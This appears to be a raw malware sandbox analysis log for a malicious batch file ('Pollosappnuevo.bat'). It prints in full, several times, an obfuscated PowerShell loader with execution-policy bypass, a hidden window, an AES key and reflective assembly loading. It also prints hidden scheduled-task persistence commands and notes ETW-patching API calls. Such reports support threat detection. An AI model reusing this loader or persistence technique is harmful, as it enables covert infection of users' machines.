Source: 5.2.powershell.exe.263b4b2c370.10.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	Reference to suspicious API methods: GetProcAddress(hModule, "EtwEventWrite")
Source: 5.2.powershell.exe.263b4b2c370.10.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	Reference to suspicious API methods: VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, PAGE_EXECUTE_READWRITE, out var lpflOldProtect)

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\Desktop\Pollosappnuevo.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net file	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\Desktop\Pollosappnuevo.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 file	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_616_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\startup_str_616.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\startup_str_616.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\startup_str_616.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net file	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\AppData\Roaming\startup_str_616.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 file	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "e45iasd" /tr "C:\Users\user\AppData\Local\Temp\e45iasd.exe"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('1idz0tblupimy6+caa/0r4ufkob0x6q7gaxomxabqns='); $aes_var.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('ojv8xek5mrtm5rxrddif7w=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $xcpmk=new-object system.io.memorystream(,$param_var); $wkalh=new-object system.io.memorystream; $vhsav=new-object system.io.compression.gzipstream($xcpmk, [io.compression.compressionmode]::decompress); $vhsav.copyto($wkalh); $vhsav.dispose(); $xcpmk.dispose(); $wkalh.dispose(); $wkalh.toarray();}function execute_function($param_var,$param2_var){ $cdsqk=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$param_var); $xoaag=$cdsqk.entrypoint; $xoaag.invoke($null, $param2_var);}$asmjg = 'c:\users\user\desktop\pollosappnuevo.bat';$host.ui.rawui.windowtitle = $asmjg;$efpsq=[system.io.file]::('txetlladaer'[-1..-11] -join '')($asmjg).split([environment]::newline);foreach ($ldeyj in $efpsq) { if ($ldeyj.startswith(':: ')) { $dxbjk=$ldeyj.substring(3); break; }}$payloads_var=[string[]]$dxbjk.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" register-scheduledtask -taskname 'runtimebroker_startup_616_str' -trigger (new-scheduledtasktrigger -atlogon) -action (new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\startup_str_616.vbs') -settings (new-scheduledtasksettingsset -allowstartifonbatteries -hidden -executiontimelimit 0) -runlevel highest -force
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('1idz0tblupimy6+caa/0r4ufkob0x6q7gaxomxabqns='); $aes_var.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('ojv8xek5mrtm5rxrddif7w=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $xcpmk=new-object system.io.memorystream(,$param_var); $wkalh=new-object system.io.memorystream; $vhsav=new-object system.io.compression.gzipstream($xcpmk, [io.compression.compressionmode]::decompress); $vhsav.copyto($wkalh); $vhsav.dispose(); $xcpmk.dispose(); $wkalh.dispose(); $wkalh.toarray();}function execute_function($param_var,$param2_var){ $cdsqk=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$param_var); $xoaag=$cdsqk.entrypoint; $xoaag.invoke($null, $param2_var);}$asmjg = 'c:\users\user\appdata\roaming\startup_str_616.bat';$host.ui.rawui.windowtitle = $asmjg;$efpsq=[system.io.file]::('txetlladaer'[-1..-11] -join '')($asmjg).split([environment]::newline);foreach ($ldeyj in $efpsq) { if ($ldeyj.startswith(':: ')) { $dxbjk=$ldeyj.substring(3); break; }}$payloads_var=[string[]]$dxbjk.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('1idz0tblupimy6+caa/0r4ufkob0x6q7gaxomxabqns='); $aes_var.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('ojv8xek5mrtm5rxrddif7w=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $xcpmk=new-object system.io.memorystream(,$param_var); $wkalh=new-object system.io.memorystream; $vhsav=new-object system.io.compression.gzipstream($xcpmk, [io.compression.compressionmode]::decompress); $vhsav.copyto($wkalh); $vhsav.dispose(); $xcpmk.dispose(); $wkalh.dispose(); $wkalh.toarray();}function execute_function($param_var,$param2_var){ $cdsqk=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$param_var); $xoaag=$cdsqk.entrypoint; $xoaag.invoke($null, $param2_var);}$asmjg = 'c:\users\user\desktop\pollosappnuevo.bat';$host.ui.rawui.windowtitle = $asmjg;$efpsq=[system.io.file]::('txetlladaer'[-1..-11] -join '')($asmjg).split([environment]::newline);foreach ($ldeyj in $efpsq) { if ($ldeyj.startswith(':: ')) { $dxbjk=$ldeyj.substring(3); break; }}$payloads_var=[string[]]$dxbjk.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" register-scheduledtask -taskname 'runtimebroker_startup_616_str' -trigger (new-scheduledtasktrigger -atlogon) -action (new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\startup_str_616.vbs') -settings (new-scheduledtasksettingsset -allowstartifonbatteries -hidden -executiontimelimit 0) -runlevel highest -force	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('1idz0tblupimy6+caa/0r4ufkob0x6q7gaxomxabqns='); $aes_var.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('ojv8xek5mrtm5rxrddif7w=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $xcpmk=new-object system.io.memorystream(,$param_var); $wkalh=new-object system.io.memorystream; $vhsav=new-object system.io.compression.gzipstream($xcpmk, [io.compression.compressionmode]::decompress); $vhsav.copyto($wkalh); $vhsav.dispose(); $xcpmk.dispose(); $wkalh.dispose(); $wkalh.toarray();}function execute_function($param_var,$param2_var){ $cdsqk=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$param_var); $xoaag=$cdsqk.entrypoint; $xoaag.invoke($null, $param2_var);}$asmjg = 'c:\users\user\appdata\roaming\startup_str_616.bat';$host.ui.rawui.windowtitle = $asmjg;$efpsq=[system.io.file]::('txetlladaer'[-1..-11] -join '')($asmjg).split([environment]::newline);foreach ($ldeyj in $efpsq) { if ($ldeyj.startswith(':: ')) { $dxbjk=$ldeyj.substring(3); break; }}$payloads_var=[string[]]$dxbjk.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
